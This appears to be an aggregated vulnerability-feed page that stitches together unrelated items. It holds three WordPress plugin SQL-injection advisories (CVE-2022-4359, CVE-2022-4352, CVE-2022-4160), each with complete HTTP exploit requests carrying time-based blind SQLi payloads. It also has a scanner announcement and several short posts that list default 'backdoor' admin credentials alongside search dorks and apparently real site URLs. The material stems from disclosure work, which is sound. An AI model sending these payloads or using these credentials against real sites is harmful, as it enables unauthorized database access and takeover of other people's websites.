The WP RSS By Publishers WordPress plugin through 0.1 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

**wp-rss-by-publishers (2/3) WordPress plugin SQL injection****Vulnerability Metadata**

Key

Value

Date of Disclosure

December 09 2022

Affected Software

wp-rss-by-publishers

Affected Software Type

WordPress plugin

Version

0.1

Weakness

SQL Injection

CWE ID

CWE-89

CVE ID

CVE-2022-4359

CVSS 3.x Base Score

n/a

CVSS 2.0 Base Score

n/a

Reporter

Daniel Krohmer, Kunal Sharma

Reporter Contact

daniel.krohmer@iese.fraunhofer.de

Link to Affected Software

https://wordpress.org/plugins/wp-rss-by-publishers

Link to Vulnerability DB

https://nvd.nist.gov/vuln/detail/CVE-2022-4359

**Vulnerability Description**

The wsysadmin_feeds page of the wp-rss-by-publishers 0.1 WordPress plugin is vulnerable to SQL injection. An authenticated attacker may abuse the id parameter and craft a malicious GET request with arbitrary SQL commands.

**Exploitation Guide**

**This exploit was tested with WordPress 4.2, since the plugin is not working on recent WordPress versions anymore.**

Various tables required for the plugin to work are not created, probably due to bugs. As a workaround, the tables may be created manually in the SQL database:

    CREATE TABLE wsys_publisher (id int not null, name varchar(255) not null, description varchar (255) not null, url varchar (255) not null, status int not null, api_key varchar (255) not null, image_1 varchar (255) not null, image_2 varchar (255)  not null, image_3 varchar (255) not null, feed_count int not null, post_count int not null, published_post_count int not null, hidden_post_count int not null, pending_post_count int not null, created_at varchar (255) not null, author_id int not null);
    
    CREATE TABLE wsys_feed (id int not null, publisher_id int not null, name varchar(255) not null, url varchar (255) not null, plugin int not null, status int not null, post_count int not null, published_post_count int not null, hidden_post_count int not null, pending_post_count int not null, created_at varchar (255) not null, last_fetch varchar(255) not null, last_modified varchar(255) not null);
    
    CREATE TABLE wsys_rule (id int not null, feed_id int not null, tags varchar(255) not null, categories varchar(255) not null, publisher_id int not null);
    

Login as admin user. This attack requires at least admin privileges.

Add a new publisher and provide values for Name, URL, and Description. Ensure that the URL points to a valid RSS feed. Subsequently, hit Save.

Hover over the name of the publisher that has been created and select Edit.

Clicking the previous button triggers the following request:

However, for the vulnerable request, some modifications are necessary: The wsysadmin_publishers page needs to be changed to wsysadmin_feeds. Then, id is the vulnerable query parameter:

An exploit may look like the following:

In the code, the update_feeds function handles different page inputs, in this case wsysadmin_feeds at line 817 in ./wp-rss-by-publisher.php.

In case the action is set to delete and id holds a value, the WSYS_Feed::delete method is called, again passing the vulnerable id parameter at line 887 in ./wp-rss-by-publisher.php.

The final database query is called at line 76 in ./classes/wsys-db.class.php.

**Exploit Payload**

**Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.**

The SQL injection can be triggered by sending the request below.

    GET /wp-admin/admin.php?page=wsysadmin_feeds&action=delete&id=0,1)+AND+(SELECT+5926+FROM+(SELECT(SLEEP(5)))erUA HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Referer: http://localhost/wp-admin/admin.php?page=wsysadmin_publishers
    Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1669822033%7ClJinzM5K7qiPG9We9REfsgUZcV6TUIAC4NMprJr6Kxh%7Cf3eea559c158e99ec2d37d673775cdbcbfc3d93c0664c89f6388b08014c281fa; slt=87e6b56f-e72c-4f81-8246-c2348e20528b.1; wp-settings-time-1=1668871056; wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do; XDEBUG_SESSION=netbeans-xdebug; PHPSESSID=0af4269367419c0bbf6d231a32ee61e8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1669822033%7ClJinzM5K7qiPG9We9REfsgUZcV6TUIAC4NMprJr6Kxh%7C252785010049c4ba6fa37a51a0ec52168de6bef203fffb7cf657ba749b7a5a81
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1

CVE-2022-4359: Security Bulletin

The Qe SEO Handyman WordPress plugin through 1.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin

**qe-seo-handyman 1.0 (2/2) WordPress plugin SQL injection****Vulnerability Metadata**

Key

Value

Date of Disclosure

December 08 2022

Affected Software

qe-seo-handyman

Affected Software Type

WordPress plugin

Version

1.0

Weakness

SQL Injection

CWE ID

CWE-89

CVE ID

CVE-2022-4352

CVSS 3.x Base Score

n/a

CVSS 2.0 Base Score

n/a

Reporter

Daniel Krohmer, Kunal Sharma

Reporter Contact

daniel.krohmer@iese.fraunhofer.de

Link to Affected Software

https://wordpress.org/plugins/qe-seo-handyman

Link to Vulnerability DB

https://nvd.nist.gov/vuln/detail/CVE-2022-4352

**Vulnerability Description**

The import_meta action in qe-seo-handyman 1.0 is vulnerable to SQL injection. An authenticated attacker may abuse the CSV file upload functionality to craft a malicious POST request.

**Exploitation Guide**

Login as admin user. This attack requires at least admin privileges.

The plugin requires all-in-one-seo-pack to be activated.

Head to Qe SEO handy-man.

Click on the link at Step 3 to import a CSV file:

Click on Browse... and select a valid CSV file.

A sample CSV file may look like the following:

    post_id,url,post_title,wpseo_title,wpseo_metadesc,type,term_taxonomy_id
    5,http://localhost/?taxonomy=bp-email-type&term=activity-at-message,activity-at-message,test,test,bp-email-type,5
    

Then, click Submit:

After uploading, hit Continue.

Clicking the previous button triggers the vulnerable request. The post_id[] array is the vulnerable parameter:

A request may look like the following:

In the code, the vulnerable $post_id variable is written at line 90 in ./inc/QE-Seo-handyman-import-csv.php.

The final database query is executed at line 128 of the same file.

**Exploit Payload**

**Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.**

The SQL injection can be triggered by sending the request below.

    POST /wp-admin/admin-post.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/wp-admin/admin.php?page=qe-seo-handyman&tab=import
    Content-Type: multipart/form-data; boundary=---------------------------8468852133354988763032646215
    Content-Length: 1377
    Origin: http://localhost
    Connection: close
    Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1666354651%7C5hcpdLYnfCYlULiNoxvsLbX15Xk3355i128JO4Rpaec%7C9052465964755f7df388ca7ded12dea9ba2a5fbb3515169d1c4e2f2792cafad2; wp_woocommerce_session_86a9106ae65537651a8e456835b316ab=1%7C%7C1666351832%7C%7C1666348232%7C%7Cc2cb50590cfa7e94229c1621767b0523; wp-settings-1=editor%3Dtinymce%26ampamphidetb%3D1%26ampampmfold%3Do%26mfold%3Do; wp-settings-time-1=1666181852; XDEBUG_SESSION=netbeans-xdebug; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AxIFtmbzi40NKIXvwVmH3Vwly; woocommerce_items_in_cart=1; woocommerce_cart_hash=0ed611221b3d80f0fa539cbbda99650c; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1666354651%7C5hcpdLYnfCYlULiNoxvsLbX15Xk3355i128JO4Rpaec%7Cc6b068ebe7c94a69ba9c603924cf21ddd8463427f2fea34e380736f338a7a6d5
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="action"
    
    import_meta
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="nonce"
    
    62bfc7851f
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="wpseo_title[]"
    
    test
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="wpseo_desc[]"
    
    test
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="term_id[]"
    
    5
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="permalink[]"
    
    http://localhost/?taxonomy=bp-email-type&term=activity-at-message
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="taxonomy[]"
    
    bp-email-type
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="wpseo_focuskw[]"
    
    activity-at-message
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="post_id[]"
    
    5 AND (SELECT 3477 FROM (SELECT(SLEEP(5)))DhVP)
    -----------------------------8468852133354988763032646215
    Content-Disposition: form-data; name="submit"
    
    Submit
    -----------------------------8468852133354988763032646215--

CVE-2022-4352: Security Bulletin

Hello everyone! Great news for my open source Scanvus project! You can now perform vulnerability checks on Linux hosts and docker images not only using the Vulners.com API, but also with the Vulns.io VM API. It’s especially nice that all the code to support the new API was written and contributed by colleagues from Vulns.io. […]

Scanvus now supports Vulners and Vulns.io VM Linux vulnerability detection APIs

BDWeb-Link LMS version 1.11.5 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : BDWeb-Link Lms v1.11.5 SQL Injection Vulnerability                                                                 || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit)                                              | | # Vendor    : https://bdweblink.com                                                                                              |  | # Dork      : Developed by Developed by BD Web Link                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] http://127.0.0.1/single-page.php?id=71 <====| inject here[+] https://127.0.0.1/Dashboard <====| LoginGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |                                                                                                                                              |=======================================================================================================================================

BDWeb-Link LMS 1.11.5 SQL Injection

Courier Deprixa version 2.5 has been reported as having a default backdoor account.

    ====================================================================================================================================| # Title     : COURIER DEPRIXA V2.5 Backdoor Account Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit)                                            | | # Vendor    : https://www.themeslide.com/courier-deprixa-logistics-worldwide-v2-5/                                               |  | # Dork      :                                                                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=admin & pass=09731 [+] https://deprixalogistics.online/dashboard/Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Courier Deprixa 2.5 Backdoor Account

Consultine Consulting Business and Finance Website CMS version 1.8 has been reported as having a default backdoor account.

    =======================================================================================================================================================================================| # Title     : consultine consulting business and finance website cms v1.8 Backdoor Account Vulnerability                                                                            || # Author    : indoushka                                                                                                                                                             || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit)                                                                                               | | # Vendor    : https://codecanyon.net/item/consultine-consulting-business-and-finance-website-cms/22236735                                                                           |  | # Dork      : About Us  Lorem ipsum dolor sit amet, omnis signiferumque in mei, mei ex enim concludaturque. Senserit salutandi euripidis no per, modus maiestatis scribentur est an.|=======================================================================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=admin@gmail.com & pass=1234 [+] https://www.seusite.top/jornal/admin/Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Consultine Consulting Business And Finance Website CMS 1.8 Backdoor Account

Car Dealer Pro version 2.01 has been reported as having a default backdoor account.

    ====================================================================================================================================| # Title     : Car Dealer Pro v2.01 Backdoor Account Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit)                                            | | # Vendor    : https://codecanyon.net/item/car-dealer-pro/7265588                                                                 |  | # Dork      : "Powered by: Car Dealer Pro"                                                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=admin & pass=pass1234 [+] http://car.wenclub.vip/admin/Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Car Dealer Pro 2.01 Backdoor Account

Botble version 5.28.3 has been reported as having a default backdoor account.

    ====================================================================================================================================| # Title     : Botble 5.28.3 Backdoor Account Vulnerability                                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 103.0(64-bit)                                              | | # Vendor    : hhttps://codecanyon.net/item/botble-cms-php-platform-based-on-laravel-framework/16928182                           |  | # Dork      : "Botble Technologies. All right reserved."                                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=botble  & pass=159357 [+] https://cms.botble.com/admin/loginGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Botble 5.28.3 Backdoor Account

Active Ecommerce CMS version 6.4.0 has been reported as having a default backdoor account.

    ====================================================================================================================================| # Title     : Active ecommerce cms v6.4.0 Backdoor Account Vulnerability                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(64-bit)                                              | | # Vendor    : https://codecanyon.net/item/active-ecommerce-cms/23471405?s_rank=24                                                |  | # Dork      : "category/beauty-health-hair"                                                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : user=admin@example.com  & pass=123456 [+] https://www.sbeshopping.com/loginGreetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |                                                                                                                                              |=======================================================================================================================================

Active Ecommerce CMS 6.4.0 Backdoor Account

The Contest Gallery WordPress plugin before 19.1.5.1, Contest Gallery Pro WordPress plugin before 19.1.5.1 do not escape the cg_copy_id POST parameter before concatenating it to an SQL query in cg-copy-comments.php and cg-copy-rating.php. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.

**contest-gallery 19.1.4.1 (14/15) WordPress plug-in SQL injection****Vulnerability Metadata**

Key

Value

Date of Disclosure

December 05 2022

Affected Software

contest-gallery

Affected Software Type

WordPress plugin

Version

19.1.4.1

Weakness

SQL Injection

CWE ID

CWE-89

CVE ID

CVE-2022-4160

CVSS 3.x Base Score

x

CVSS 2.0 Base Score

x

Reporter

Kunal Sharma, Daniel Krohmer

Reporter Contact

k\_sharma19@informatik.uni-kl.de

Link to Affected Software

https://wordpress.org/plugins/contest-gallery/

Link to Vulnerability DB

https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-4160

**Vulnerability Description**

The cg_copy_id MULTIPART POST query parameter in contest-gallery 19.1.4.1 is vulnerable to SQL Injection. An attacker with role of Author or above may abuse the _Copy Gallery_ functionality in cg-copy-comments.php and cg-copy-rating.php. This leads to a threat actor crafting malicious POST request.

**Exploitation Guide**

_**Note: In some cases, the line number mentioned in description text above the image can be different from the image shown below it. This change is due to lines of code wrapping, which is done to represent long lines of code in the image. The description text represents the actual line number in the application.**_

Create a _New Gallery_, if no gallery was created before.

Change the _Gallery name_.

Click on Edit gallery.

Select _third option_ and click Copy.

Clicking Copy triggers the vulnerable request.

A POC may look like the following request:

In the application code, the vulnerability is triggered by un-sanitized user input of cg_copy_id at line 3 in ./v10/v10-admin/copy-gallery.php.

Subsequently, function call is made on variable $idToCopy . 

At line 39 in ./functions/general/sql/cg-copy-comments.php database query call on $oldGalleryID leads to SQL Injection.

Furthermore, At line 46 in ./functions/general/sql/cg-copy-rating.php another database query call on $oldGalleryID leads to SQL Injection.

**Exploit Payload**

**Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.**

The SQL injection can be triggered by sending the request below:

    POST /wp-admin/admin-ajax.php?page=contest-gallery/index.php&edit_gallery=true HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------57928068830176656773670049687
    Content-Length: 1508
    Origin: http://localhost:8080
    Connection: close
    Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668734427%7CUHijoj82qZ3zggyrkh30RBG6N1IDmWR8ZDV3fZNzCre%7C6333e4fa1fc3f8961218830b63c9910e36a1507d9530ee857dda65208e7bd3bf; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668734427%7CUHijoj82qZ3zggyrkh30RBG6N1IDmWR8ZDV3fZNzCre%7Cd34e5c9317c939593831376a9467f195ca7e97151d2f965acdbc84aeb291c5b7; wp-settings-time-5=1668467252; wp-settings-5=libraryContent%3Dbrowse
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="cg_copy_type"
    
    cg_copy_type_all
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="cg_copy"
    
    true
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="cg_copy_id"
    
    1 AND (SELECT 7394 FROM (SELECT(SLEEP(2)))UrUZ)
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="cg_copy_start"
    
    0
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="option_id_next_gallery"
    
    0
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="id_to_copy"
    
    1
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="edit_gallery_hidden_post"
    
    
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="copy_v7"
    
    true
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="page"
    
    contest-gallery/index.php
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="action"
    
    post_contest_gallery_action_ajax
    -----------------------------57928068830176656773670049687
    Content-Disposition: form-data; name="cgBackendHash"
    
    e12e8782da8ac6c4f1725d81a9811524
    -----------------------------57928068830176656773670049687--

Tag

#firefox